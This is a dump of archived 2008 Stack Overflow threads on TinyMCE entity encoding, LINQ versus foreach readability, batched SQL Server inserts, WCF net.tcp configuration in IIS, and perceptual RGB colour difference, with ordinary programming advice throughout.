[ { "answer_id": 200949, "author": "Tomasz Tybulewicz", "author_id": 17405, "author_profile": "https://Stackoverflow.com/users/17405", "pm_score": 3, "selected": false, "text": "<p>You can user <code>strip_tags($str, $allowed_tags)</code> like below:</p>\n\n<pre><code>$txt = strip_tags($txt, '&lt;p&gt;&lt;a&gt;&lt;br&gt;');\n</code></pre>\n" }, { "answer_id": 201010, "author": "Veynom", "author_id": 11670, "author_profile": "https://Stackoverflow.com/users/11670", "pm_score": 1, "selected": false, "text": "<p>Directly from the PHP manual: <a href=\"http://fr2.php.net/manual/en/function.strip-tags.php\" rel=\"nofollow noreferrer\">strip_tags()</a></p>\n\n<p>The $allowable_tags variable allows you to define a string of allowed tags. You can use this optional second parameter to specify tags which should not be stripped. </p>\n" }, { "answer_id": 201154, "author": "Marcus Downing", "author_id": 1000, "author_profile": "https://Stackoverflow.com/users/1000", "pm_score": 1, "selected": false, "text": "<p>tinyMCE allows you to specify a 'whitelist' of allowed tags, which will remove any tags not included on the list:</p>\n\n<pre><code>tinyMCE.init({\n ... // other init instructions\n valid_elements: 'p,a[href],br',\n});\n</code></pre>\n\n<p>In our own project we combine this whitelist with an internal converter which turns the HTML into a BB-like format for the database, then back to HTML again when it needs to be printed to a page.</p>\n\n<hr>\n\n<p><strong>Update:</strong> Now that the question has been edited to be clearer, I can see that what I typed above doesn't solve the problem. What the questioner wants is a way to convert character entities while leaving HTML tags unaffected.</p>\n\n<p>In our own project, the internal converter we use does this job. When converting from HTML into our internal representation, encoded characters are converted into the characters themselves; when converting back into HTML, higher characters are encoded. This is done in a character-by-character, parser-like style. However this approach is probably too complicated for your needs.</p>\n\n<p>The shortcut used by many is to use a series of regular expressions, but you may find it difficult to arrange your regexes in such a way as to preserve ampersands <code>&amp;</code> and semicolons <code>;</code> at the same time as translating character entities <code>&amp;nbsp;</code>. You'll also find that to cover every possible character entity you'd need dozens of regexes.</p>\n\n<p>Uh, so I don't actually have an answer.</p>\n" }, { "answer_id": 201254, "author": "Joe Scylla", "author_id": 25771, "author_profile": "https://Stackoverflow.com/users/25771", "pm_score": 1, "selected": false, "text": "<p>That depends on the tags you want to preserve. I assume you want to use all features of TinyMCE so the text can include nexted tags like table constructs. Then there is no simple way of doing it (one way would be to use <a href=\"http://de.php.net/manual/en/book.dom.php\" rel=\"nofollow noreferrer\">PHP Document Object Model</a> to parse the html document.</p>\n\n<p>But TinyMCE has several <a href=\"http://wiki.moxiecode.com/index.php/TinyMCE:Configuration\" rel=\"nofollow noreferrer\">configuration</a> options to for entity encoding. I would suggest you check out the configuration options <a href=\"http://wiki.moxiecode.com/index.php/TinyMCE:Configuration/entity_encoding\" rel=\"nofollow noreferrer\">entity_encoding </a>, <a href=\"http://wiki.moxiecode.com/index.php/TinyMCE:Configuration/entities\" rel=\"nofollow noreferrer\">entities</a> and <a href=\"http://wiki.moxiecode.com/index.php/TinyMCE:Configuration/encoding\" rel=\"nofollow noreferrer\">encoding</a> in the TinyMCE manual.</p>\n" }, { "answer_id": 203354, "author": "John ODonnell", "author_id": 28072, "author_profile": "https://Stackoverflow.com/users/28072", "pm_score": 1, "selected": false, "text": "<p>Both TinyMCE and FCK have tons of configuration options. The documentation can be a pain to search, but worth the effort.</p>\n\n<p>TinyMCE allows you to specify entity encoding using the 'entity_encoding' option. It can be specified when you create your editor. It might look something like this...</p>\n\n<p>tinyMCE.init({<br/>\n&nbsp;&nbsp;&nbsp; entity_encoding: 'numeric'<br/>\n});</p>\n\n<p>This would change a tag like &amp;rsquo; into &amp;#39;.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200939", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I am using tinyMCE as my text editor on my site and i want to reformat the text before saving it to my database (changing the &rsquo; tags into ' then in to &#39;). I cannot find a simple way of doing this using tinyMCe and using htmlentities() changes everything including <>. Any ideas?
You can user `strip_tags($str, $allowed_tags)` like below: ``` $txt = strip_tags($txt, '<p><a><br>'); ```
200,966
<p>I have these two pieces of code, wich one is more readable?</p> <ol> <li><p>foreach</p> <pre><code>decimal technicalPremium = 0; foreach (Risk risk in risks) { technicalPremium = technicalPremium + risk.TechnicalPremium; } return technicalPremium; </code></pre></li> <li><p>linq</p> <pre><code>return risks.Sum(risk =&gt; risk.TechnicalPremium); </code></pre></li> </ol>
[ { "answer_id": 200974, "author": "Ólafur Waage", "author_id": 22459, "author_profile": "https://Stackoverflow.com/users/22459", "pm_score": 5, "selected": true, "text": "<p>If the team that works on the code knows what the Linq version does and knows its inner workings, then it is more readable.</p>\n" }, { "answer_id": 200977, "author": "wcm", "author_id": 2173, "author_profile": "https://Stackoverflow.com/users/2173", "pm_score": 0, "selected": false, "text": "<p>I think the second option is better in that it should be more efficient. It is, however, less obvious what is happening (at least to me).</p>\n" }, { "answer_id": 200980, "author": "David Schmitt", "author_id": 4918, "author_profile": "https://Stackoverflow.com/users/4918", "pm_score": 2, "selected": false, "text": "<p>For someone who can read LINQ, the LINQ one. </p>\n\n<p>For someone who has to interpret the code step by step (by using intellisense/documentation the shorter one.</p>\n" }, { "answer_id": 200985, "author": "cciotti", "author_id": 16834, "author_profile": "https://Stackoverflow.com/users/16834", "pm_score": 1, "selected": false, "text": "<p>The LINQ code is both very readable and self-documenting. </p>\n" }, { "answer_id": 200996, "author": "Goran", "author_id": 23164, "author_profile": "https://Stackoverflow.com/users/23164", "pm_score": 4, "selected": false, "text": "<p>Neither. The first one is more verbose and likely to be understood by everyone. The second one is more concise and easily understood by everyone with even a passing knowledge of linq.</p>\n\n<p>I'd say you can base your choice on the environment you are in. </p>\n" }, { "answer_id": 200998, "author": "coder1", "author_id": 3018, "author_profile": "https://Stackoverflow.com/users/3018", "pm_score": 2, "selected": false, "text": "<p>Go with linq. If you think it needs explanation, a one line comment will take care of that. As people get more used to linq, the need for comments will go away.</p>\n" }, { "answer_id": 201009, "author": "nportelli", "author_id": 7024, "author_profile": "https://Stackoverflow.com/users/7024", "pm_score": 0, "selected": false, "text": "<p>I'd say the first since I don't know linq. At risk of over documenting I'd use that one with a short description of what is going on. Or just say it's linq for people who may have no idea.</p>\n" }, { "answer_id": 201013, "author": "FOR", "author_id": 27826, "author_profile": "https://Stackoverflow.com/users/27826", "pm_score": 1, "selected": false, "text": "<p>The first option is more readable to a wider range of people. The second option has an 'entry barrier' in that the reader might or might know and understand LINQ. It is more succinct, and might be therefore better if your audience is over that entry barrier.</p>\n" }, { "answer_id": 201028, "author": "ilitirit", "author_id": 9825, "author_profile": "https://Stackoverflow.com/users/9825", "pm_score": 0, "selected": false, "text": "<p>If you provide a comment explaining it's purpose, then I'd go for the Linq option.</p>\n" }, { "answer_id": 201040, "author": "stahler", "author_id": 26811, "author_profile": "https://Stackoverflow.com/users/26811", "pm_score": 0, "selected": false, "text": "<p>The first if you have no knowledge of Linq. Anyone developer can read and understand the first one.</p>\n" }, { "answer_id": 201065, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 0, "selected": false, "text": "<p>There's no readability problem here. Click on Sum and hit F1.</p>\n\n<p>Linq for the win.</p>\n" }, { "answer_id": 201105, "author": "Marcus Downing", "author_id": 1000, "author_profile": "https://Stackoverflow.com/users/1000", "pm_score": 0, "selected": false, "text": "<p>Each language has conventions for the best way to code such things, so what's most readable to people who regularly use that language isn't universal. For a Java or normal C# programmer, the first option is more readable. For somebody used to LINQ or functional programming, the second is more readable.</p>\n" }, { "answer_id": 201165, "author": "Cristian Libardo", "author_id": 16526, "author_profile": "https://Stackoverflow.com/users/16526", "pm_score": 4, "selected": false, "text": "<p>Use whichever you prefer but hide it in a method:</p>\n\n<pre><code>return risks.SumTechnicalPremium();\n</code></pre>\n" }, { "answer_id": 201237, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I don't know c# but the second alternative looks much cleaner to me and I could understand what it does (ok, with some guessing and cross-checking with the first version). Probabably because of some functional background. But in the first you have to look for technicalPremium in 4(!) places. The second one is much shorter and easier to understand if you are just reading over the code.</p>\n" }, { "answer_id": 201247, "author": "SeaDrive", "author_id": 19267, "author_profile": "https://Stackoverflow.com/users/19267", "pm_score": 0, "selected": false, "text": "<p><strong>or</strong> </p>\n\n<p>decimal technicalPremium = 0;</p>\n\n<p>foreach (Risk risk in risks) technicalPremium = technicalPremium + risk.TechnicalPremium;</p>\n\n<p>return technicalPremium;</p>\n" }, { "answer_id": 201533, "author": "Jay Bazuzi", "author_id": 5314, "author_profile": "https://Stackoverflow.com/users/5314", "pm_score": 0, "selected": false, "text": "<p>I see people saying they like the first one \"if you don't know Linq\". Yeah, and the first one is unreadable if you don't know C#. This isn't a question of \"which is more readable\", but \"which language features are we comfortable using?\"</p>\n\n<p>Start by having a conversation with your team about the parts of the language/framework/toolset that everyone hates, and declare them off limits. Everything else is considered part of the standard vocabulary, and everyone is expected to be fluent. This list should go in your coding standards doc, right next to \"<a href=\"https://stackoverflow.com/questions/161432/best-algorithm-for-synchronizing-two-ilist-in-c-20#161441\">never make mutable value types</a>\" and \"<a href=\"http://blogs.msdn.com/jaybaz_ms/archive/2004/04/29/123333.aspx\" rel=\"nofollow noreferrer\">don't bother with trivial properties for non-public members</a>\".</p>\n\n<p>As long as Linq is not on your \"exclude\" list, the second example is <em>far</em> more readable than the first. Why? Because it declares intent of the code, instead of merely presenting the mechanism for the reader to decipher.</p>\n" }, { "answer_id": 201542, "author": "AdamBT", "author_id": 22426, "author_profile": "https://Stackoverflow.com/users/22426", "pm_score": 0, "selected": false, "text": "<p>If your goal is to make it more readable for \"anyone\" that might come after you, then use the foreach. I interpret \"more readable\" to mean anyone with experience in the basics of the language should be able to grasp. For someone unfamiliar with linq and still using VS2005 or earlier, the linq syntax would be confusing.</p>\n" }, { "answer_id": 201643, "author": "Daniel H", "author_id": 27302, "author_profile": "https://Stackoverflow.com/users/27302", "pm_score": 0, "selected": false, "text": "<p>I would say that the first piece of code is definitely more readable, and it would be even more readable if you renamed at least the variable risk so that it had a different name from the class. It would probably also be better if you renamed the array risks.</p>\n" }, { "answer_id": 201886, "author": "DOK", "author_id": 27637, "author_profile": "https://Stackoverflow.com/users/27637", "pm_score": 0, "selected": false, "text": "<p>I agree with those who say the second will be easily understood as Linq becomes more widely adopted. It is certainly more succinct.</p>\n\n<p>However, I have some concern over ease of debugging. It seems much easier to step through the code in the foreach, to see exactly what it is doing in each pass. </p>\n" }, { "answer_id": 201926, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 0, "selected": false, "text": "<p>I think it depends on what you mean by \"readable\". The first example clearly indicates the program logic and should be understandable by anyone with a programming background. </p>\n\n<p>To me, the second example is more intuitive based on the context (i.e., you are taking an array (or some other collection type) and executing a method named Sum on each element of that array). The only place the second example can become less clear is in the actual lambda expression itself especially for someone who hasn't had experience with lambdas or alraedy have a background in functional programming.</p>\n\n<p>I think as lambdas become more prevalent in .NET programming this will become less of an issue. As it stands, I think there is a very small learning curve to understanding the basics of how to use lambda expressions in .NET.</p>\n" }, { "answer_id": 220749, "author": "Claudiu", "author_id": 15055, "author_profile": "https://Stackoverflow.com/users/15055", "pm_score": 0, "selected": false, "text": "<p>The second one, definitely. Having such a large block of code for doing something as simple as summing is just unnecessary. I also don't know what LINQ is, but it's perfectly readable to me.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200966", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12514/" ]
I have these two pieces of code, wich one is more readable? 1. foreach ``` decimal technicalPremium = 0; foreach (Risk risk in risks) { technicalPremium = technicalPremium + risk.TechnicalPremium; } return technicalPremium; ``` 2. linq ``` return risks.Sum(risk => risk.TechnicalPremium); ```
If the team that works on the code knows what the Linq version does and knows its inner workings, then it is more readable.
200,986
<p><em>Edit: <br>My problem is not a problem anymore: I have redo my performances tests and I have do a fatal stupid error: I had forget a x1000 to get seconds from milliseconds :/ Sorry for that guys.<br> For info: <br> - I do some 1900 updates per second from my PC to the DataBase server on local network.<br> - 3.200 updates per second if the programs is on same machine than DB.<br> - 3.500 updates per second from my PC on the DataBase server I do not re-create and re-open a new SQLConnection.<br> - 5.800 updates per second with a batch text. For my 10.000 rows, if it take 5 seconds, it is ok for my programs. Sorry to have worry you.</em></p> <p>Actually, I use a SQL stored prodedure to create a row in my database to avoid SQL-injection. In C# I have the following method:</p> <pre><code>public void InsertUser(string userCode) { using (SqlConnection sqlConnection = new SqlConnection(this.connectionString)) { SqlCommand sqlCommand = new SqlCommand("InsertUser", sqlConnection); sqlCommand.CommandType = System.Data.CommandType.StoredProcedure; sqlCommand.Parameters.Add(new SqlParameter("@UserCode", userCode)); sqlConnection.Open(); sqlCommand.ExecuteNonQuery();///0.2 seconds !ERROR HERE! 0.2ms here,NOT 0.2sec!!! } } </code></pre> <p>It woks great when i have one or two rows to insert. But if i need to create 1.000 users and 10.000 products and 5000 pets, it is not the best solution: I will loose a huge time in netwok transport.</p> <p>I believe, without checkin it, that I can use just a limited amount of callback. So I do not want to call 10.000 times: </p> <pre><code>sqlCommand.BeginExecuteNonQuery() </code></pre> <p>Another way will be to create a batch text, but there is a SQL-Injection risk (and it is ugly).</p> <p>Does there is a 'SqlCommandList' object that manage that in .Net? How do I do large writing in database? What the good patern for that?</p>
[ { "answer_id": 200999, "author": "Danimal", "author_id": 2757, "author_profile": "https://Stackoverflow.com/users/2757", "pm_score": 0, "selected": false, "text": "<p>Have you considered passing an XML document to a stored procedure, then iterating through that to find the data to insert?</p>\n" }, { "answer_id": 201002, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "<p>Personally, if I regularly expect to do fairly large inserts (10,000 rows would definitely qualify...), I might consider having a separate table for incoming data, and use <a href=\"http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlbulkcopy.aspx\" rel=\"nofollow noreferrer\"><code>SqlBulkCopy</code></a> to populate this table. Then you just execute a single stored procedure that moves the data over into the real table.</p>\n\n<p>Another approach is to send down xml to the database, and use sqlxml to parse that (much easier with SQL2005 and above) - but this puts extra work on the db server.</p>\n" }, { "answer_id": 201041, "author": "Binary Worrier", "author_id": 18797, "author_profile": "https://Stackoverflow.com/users/18797", "pm_score": 0, "selected": false, "text": "<p>\"it is not the best solution: I will loose a huge time in netwok transport\"\nCan you live with the loss?</p>\n\n<p>If this is something you don't do often, then does it matter?\nMeasure it first, if it's a problem then fix it, personally probably I'd go with Marc Gravells table for incoming inserts.\nAnother option is to fire the inserts asynchronously, then you're not waiting on each to finish before you start the next.</p>\n\n<p>It took me years, but finally I figured out that I shouldn't waste time optimising code that doesn't need it.</p>\n\n<p>Hope this helps (even though I don't think it will, sorry).</p>\n" }, { "answer_id": 201042, "author": "Joel Coehoorn", "author_id": 3043, "author_profile": "https://Stackoverflow.com/users/3043", "pm_score": 3, "selected": false, "text": "<p>This should run a little faster:</p>\n\n<pre><code>public void InsertUser(IEnumerable&lt;string&gt; userCodes)\n{\n using (SqlConnection sqlConnection = new SqlConnection(this.connectionString), \n SqlCommand sqlCommand = new SqlCommand(\"InsertUser\", sqlConnection))\n {\n sqlCommand.CommandType = System.Data.CommandType.StoredProcedure;\n SqlParameter param = sqlCommand.Parameters.Add(\"@UserCode\", SqlDbTypes.VarChar);\n sqlConnection.Open();\n\n foreach(string code in userCodes)\n {\n param.Value = code;\n sqlCommand.ExecuteNonQuery();///0.2 seconds\n }\n }\n}\n</code></pre>\n\n<p>That will only open one connection and only create one command, even if you pass it 1000 users. It will still do each insert separately, though. And of course if userCode isn't a string you'll want to re-factor it appropriately. You may also want to look into SQL Server's <a href=\"http://msdn.microsoft.com/en-us/library/ms188365.aspx\" rel=\"nofollow noreferrer\">BULK INSERT</a> command.</p>\n" }, { "answer_id": 201050, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 2, "selected": false, "text": "<p>If you really were concerned about this, you could (like you said) batch the commands up in strings like so:</p>\n\n<pre><code>var cmd = new SqlCommand();\ncmd.Connection = sqlConnection;\nfor (int i = 0; i &lt; batchSize; i++) {\n cmd.CommandText += String.Format(\"EXEC InsertUser @UserCode{0};\", i);\n cmd.Parameters.AddWithValue(\"@UserCode\" + i.ToString(), XXXXX);\n //... etc ...\n}\n</code></pre>\n\n<p>Because in this scheme, you'd be using a parameter, you don't have more risk of SQL injection than if you used a stored proc. But I question whether or not you'll really save an appreciable amount of time doing this. IMO you should just keep it simple and do it the way you are doing it now.</p>\n" }, { "answer_id": 201100, "author": "Sam Saffron", "author_id": 17174, "author_profile": "https://Stackoverflow.com/users/17174", "pm_score": 2, "selected": false, "text": "<p>Based off Joel's answer, this is the fastest solution short of using either SqlBulkCopy or creating big strings of messy SQL and executing. (I added a transaction which will improve performance quite a lot)</p>\n\n<pre><code>public void InsertUser(IEnumerabler&lt;string&gt; userCodes)\n{\n using (SqlConnection sqlConnection = new SqlConnection(this.connectionString))\n {\n sqlConnection.Open();\n SqlTransaction transaction = connection.BeginTransaction();\n SqlCommand sqlCommand = new SqlCommand(\"InsertUser\", sqlConnection);\n sqlCommand.Transaction = transaction;\n sqlCommand.CommandType = System.Data.CommandType.StoredProcedure;\n SqlParameter param = sqlCommand.Parameters.Add(\"@UserCode\", SqlDbTypes.VarChar);\n\n foreach(string code in userCodes)\n {\n param.Value = code;\n sqlCommand.ExecuteNonQuery();\n } \n transaction.Commit();\n }\n}\n</code></pre>\n" }, { "answer_id": 201162, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>As per some of the answers above, the most noticeable performance increase for the least effort involves 2 changes to your existing code:</p>\n\n<ol>\n<li>Wrapping the updates in a transaction</li>\n<li>Opening only one connection and calling the procedure multiple times with the different parameters.</li>\n</ol>\n\n<p>BULK INSERTs are an option but probably overkill for what you want to do.</p>\n" }, { "answer_id": 202329, "author": "gbn", "author_id": 27535, "author_profile": "https://Stackoverflow.com/users/27535", "pm_score": 2, "selected": false, "text": "<p>What about UpdateBatchSize of the SQLDataAdaptor?</p>\n\n<p>Our front end guys use this to batch a few 10,000 proc calls into chunks</p>\n\n<p><a href=\"http://www.dotnetspider.com/resources/4467-Multiple-Inserts-Single-Round-trip-using-ADO-NE.aspx\" rel=\"nofollow noreferrer\">Article</a></p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/kbbwt18a(VS.80).aspx\" rel=\"nofollow noreferrer\">MSDN</a></p>\n\n<p>Our environment disallows \"bulkadmin\" rights so we can't use BULKINSERT/bcp etc</p>\n" }, { "answer_id": 8478826, "author": "Ben Taylor", "author_id": 1094307, "author_profile": "https://Stackoverflow.com/users/1094307", "pm_score": 1, "selected": false, "text": "<p>I'm guessing this is a pretty old question.</p>\n\n<p>With SQL Server 2008 the answer now is to use a Table Value Parameter. In short, pass in all your variables in a used defined type (table).</p>\n\n<p>In SQL, you can now process all of the records as individual items...Actually use set logic and get real performance.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200986", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26071/" ]
*Edit: My problem is not a problem anymore: I have redo my performances tests and I have do a fatal stupid error: I had forget a x1000 to get seconds from milliseconds :/ Sorry for that guys. For info: - I do some 1900 updates per second from my PC to the DataBase server on local network. - 3.200 updates per second if the programs is on same machine than DB. - 3.500 updates per second from my PC on the DataBase server I do not re-create and re-open a new SQLConnection. - 5.800 updates per second with a batch text. For my 10.000 rows, if it take 5 seconds, it is ok for my programs. Sorry to have worry you.* Actually, I use a SQL stored prodedure to create a row in my database to avoid SQL-injection. In C# I have the following method: ``` public void InsertUser(string userCode) { using (SqlConnection sqlConnection = new SqlConnection(this.connectionString)) { SqlCommand sqlCommand = new SqlCommand("InsertUser", sqlConnection); sqlCommand.CommandType = System.Data.CommandType.StoredProcedure; sqlCommand.Parameters.Add(new SqlParameter("@UserCode", userCode)); sqlConnection.Open(); sqlCommand.ExecuteNonQuery();///0.2 seconds !ERROR HERE! 0.2ms here,NOT 0.2sec!!! } } ``` It woks great when i have one or two rows to insert. But if i need to create 1.000 users and 10.000 products and 5000 pets, it is not the best solution: I will loose a huge time in netwok transport. I believe, without checkin it, that I can use just a limited amount of callback. So I do not want to call 10.000 times: ``` sqlCommand.BeginExecuteNonQuery() ``` Another way will be to create a batch text, but there is a SQL-Injection risk (and it is ugly). Does there is a 'SqlCommandList' object that manage that in .Net? How do I do large writing in database? What the good patern for that?
This should run a little faster: ``` public void InsertUser(IEnumerable<string> userCodes) { using (SqlConnection sqlConnection = new SqlConnection(this.connectionString), SqlCommand sqlCommand = new SqlCommand("InsertUser", sqlConnection)) { sqlCommand.CommandType = System.Data.CommandType.StoredProcedure; SqlParameter param = sqlCommand.Parameters.Add("@UserCode", SqlDbTypes.VarChar); sqlConnection.Open(); foreach(string code in userCodes) { param.Value = code; sqlCommand.ExecuteNonQuery();///0.2 seconds } } } ``` That will only open one connection and only create one command, even if you pass it 1000 users. It will still do each insert separately, though. And of course if userCode isn't a string you'll want to re-factor it appropriately. You may also want to look into SQL Server's [BULK INSERT](http://msdn.microsoft.com/en-us/library/ms188365.aspx) command.
201,004
<p>I have a WCF service running on the IIS with a ServiceHostFactory. It's running fine with the WSHttpBinding but because of the speed and everything being on the same network (no firewalls) i want to speed up things a bit using the NetTcpBinding instead.</p> <p>When i try to do that i get this error:</p> <blockquote> <p>Could not connect to net.tcp://zzz.xxx.yyy/MyService.svc. The connection attempt lasted for a time span of 00:00:01.0464395. TCP error code 10061: No connection could be made because the target machine actively refused it x.x.x.x:808.</p> </blockquote> <p>I'm using <code>SecurityMode.None</code> just to make sure that is not screwing me also i tried either of these on two different tries:</p> <pre><code>binding.Security.Message.ClientCredentialType = MessageCredentialType.None; binding.Security.Message.ClientCredentialType = TcpClientCredentialType.Windows;, </code></pre> <p>Also i should point out, that i'm pulling quite a lof of data from one of the service calls, so i also put these (both on the http and the tcp attempts - setting maxMessageSize to 1000000)</p> <pre><code>binding.MaxReceivedMessageSize = maxMessageSize; binding.ReaderQuotas.MaxArrayLength = maxMessageSize; </code></pre> <p>It should be pretty easy getting it to work, so what am I missing?</p> <p>UPDATE: I added the TCP port 808 to the website identity and tried again. Now i get this error:</p> <blockquote> <p>You have tried to create a channel to a service that does not support .Net Framing. It is possible that you are encountering an HTTP endpoint.</p> </blockquote>
[ { "answer_id": 201014, "author": "ZombieSheep", "author_id": 377, "author_profile": "https://Stackoverflow.com/users/377", "pm_score": 1, "selected": false, "text": "<p>Could it be something as simple as your firewall rules on the service host disallowing port 808?</p>\n" }, { "answer_id": 201061, "author": "David Mohundro", "author_id": 4570, "author_profile": "https://Stackoverflow.com/users/4570", "pm_score": 5, "selected": true, "text": "<p>Check out <a href=\"https://web.archive.org/web/20160611103146/http://marc.bloggingabout.net/2007/10/23/wcf-hosting-non-http-protocols-in-iis-7-0/\" rel=\"nofollow noreferrer\">this post</a> on enabling non-HTTP bindings in IIS 7.0. By default, you have to explicitly enable net.tcp in IIS 7.0.</p>\n<p>Hope this helps.</p>\n<p>UPDATE:</p>\n<p>Saw your comment - unfortunately, net.tcp is not supported in IIS 6.0. Check out <a href=\"http://msdn.microsoft.com/en-us/library/ms730158.aspx\" rel=\"nofollow noreferrer\">this link</a> which details the supported WCF bindings for various hosts (including self-hosting, WAS, and IIS). Looks like only HTTP bindings work in IIS 6.0.</p>\n" }, { "answer_id": 780947, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 5, "selected": false, "text": "<p>If you are using Vista, then ensure the WAS and Net.Tcp Listener Adapter Services are running.</p>\n" }, { "answer_id": 3945632, "author": "rosi", "author_id": 477400, "author_profile": "https://Stackoverflow.com/users/477400", "pm_score": 3, "selected": false, "text": "<p>Once i start Net.Tcp Listener Adapter Service, service is working fine for me.</p>\n" }, { "answer_id": 4429806, "author": "amitdotchauhan", "author_id": 540633, "author_profile": "https://Stackoverflow.com/users/540633", "pm_score": 1, "selected": false, "text": "<p>check if IIS has both protocol pointing to same port number,i just found if that is the case,it will not work.</p>\n" }, { "answer_id": 9735829, "author": "Matt Roberts", "author_id": 24109, "author_profile": "https://Stackoverflow.com/users/24109", "pm_score": 4, "selected": false, "text": "<p>For anyone that stumbles accross this, my guide to trouble-shooting net.tcp WCF issues like this:</p>\n\n<ol>\n<li>Check that net.tcp is an enabled protocol for the web site (in IIS, right-click the site, goto advanced settings, and ensure that Enabled Protocols includes \"net.tcp\"</li>\n<li>I'm not sure if this is a paranoia thing, I also have always needed to enable net.tcp for the Site via the command line as well as step 1. Open a command prompt, and from <code>c:\\windows\\system32\\inetsrv</code>, enter <code>appcmd.exe set app \"NameOfWebsite/\" /enabledProtocols:http,net.tcp</code></li>\n<li>Check that the bindings for the website in IIS have an entry for net.tcp, and that you've bound it to the correct port number (for me, I use 9000:* as my binding to port 9000). Also check that no other websites in IIS are using the same net.tcp binding to that port</li>\n<li>Check that the \"Net.TCP Listener Adapter\" service is running.</li>\n</ol>\n\n<p>Done.</p>\n" }, { "answer_id": 29345705, "author": "Werner Bisschoff", "author_id": 4410920, "author_profile": "https://Stackoverflow.com/users/4410920", "pm_score": 1, "selected": false, "text": "<p>I was also having this issue on Window Server 2008 R2 </p>\n\n<p>Just ensure that the Net.Tcp Port Sharing service is also started, as it is a dependency of the Net.Tcp Listener Adapter.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201004", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11619/" ]
I have a WCF service running on the IIS with a ServiceHostFactory. It's running fine with the WSHttpBinding but because of the speed and everything being on the same network (no firewalls) i want to speed up things a bit using the NetTcpBinding instead. When i try to do that i get this error: > > Could not connect to net.tcp://zzz.xxx.yyy/MyService.svc. The connection attempt lasted for a time span of 00:00:01.0464395. TCP error code 10061: No connection could be made because the target machine actively refused it x.x.x.x:808. > > > I'm using `SecurityMode.None` just to make sure that is not screwing me also i tried either of these on two different tries: ``` binding.Security.Message.ClientCredentialType = MessageCredentialType.None; binding.Security.Message.ClientCredentialType = TcpClientCredentialType.Windows;, ``` Also i should point out, that i'm pulling quite a lof of data from one of the service calls, so i also put these (both on the http and the tcp attempts - setting maxMessageSize to 1000000) ``` binding.MaxReceivedMessageSize = maxMessageSize; binding.ReaderQuotas.MaxArrayLength = maxMessageSize; ``` It should be pretty easy getting it to work, so what am I missing? UPDATE: I added the TCP port 808 to the website identity and tried again. Now i get this error: > > You have tried to create a channel to a service that does not support .Net Framing. It is possible that you are encountering an HTTP endpoint. > > >
Check out [this post](https://web.archive.org/web/20160611103146/http://marc.bloggingabout.net/2007/10/23/wcf-hosting-non-http-protocols-in-iis-7-0/) on enabling non-HTTP bindings in IIS 7.0. By default, you have to explicitly enable net.tcp in IIS 7.0. Hope this helps. UPDATE: Saw your comment - unfortunately, net.tcp is not supported in IIS 6.0. Check out [this link](http://msdn.microsoft.com/en-us/library/ms730158.aspx) which details the supported WCF bindings for various hosts (including self-hosting, WAS, and IIS). Looks like only HTTP bindings work in IIS 6.0.
201,037
<p>Is there a reliable Delta RGB formula or code snippet that does colour Delta of the full RGB tri stim values, like how DeltaE 2000/cmc does Lab/Lch that takes <em>perceptual</em> differences into account?</p> <p>The RGB Colourspace could be any, but if it needed to be a particular one I could keep it sRGB for the calculations. C# is preferred, but I can convert from any language.</p> <p>I currently have a very basic RGB delta formula, but I would like to implement something that gets a truer sense of perceptual colour difference. Current right now is</p> <pre><code>float delta = Math.Sqrt(Math.Pow(r1-r2, 2) + Math.Pow(g1-g2, 2) + Math.Pow(b1-b2, 2)); </code></pre> <p>This is similar to DeltaE 76(lab), but it has the same drawbacks where the perceptual difference is not taken into account.</p> <p>PLEASE don't just do a Google search and paste the first thing you see! There are lots of Delta RGB formula's out there that may be found, but do not take perceptual differences into account. If you have knowledge of this, please comment and/or paste any links to code samples. Also, I already have conversion from RGB to Lab/Lch and then into De2000/cmc. I am not looking for that.</p>
[ { "answer_id": 207847, "author": "palm3D", "author_id": 2686, "author_profile": "https://Stackoverflow.com/users/2686", "pm_score": 2, "selected": false, "text": "<p>I'm afraid you already gave the only right answer: conversion to a perceptual color space, where the simple delta formula makes sense.</p>\n\n<p>Brilliant color scientists have been trying to answer the question of perceptual color differences for over a century. They've looked for a simple RGB formula that works, but human perception is just too complex.</p>\n" }, { "answer_id": 626273, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Just in case you didn't find them:</p>\n\n<ul>\n<li><a href=\"http://www.easyrgb.com/index.php?X=FAQS&amp;H=05#text5\" rel=\"nofollow noreferrer\">http://www.easyrgb.com/index.php?X=FAQS&amp;H=05#text5</a></li>\n<li><a href=\"http://www.easyrgb.com/index.php?X=DELT\" rel=\"nofollow noreferrer\">http://www.easyrgb.com/index.php?X=DELT</a></li>\n</ul>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201037", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14642/" ]
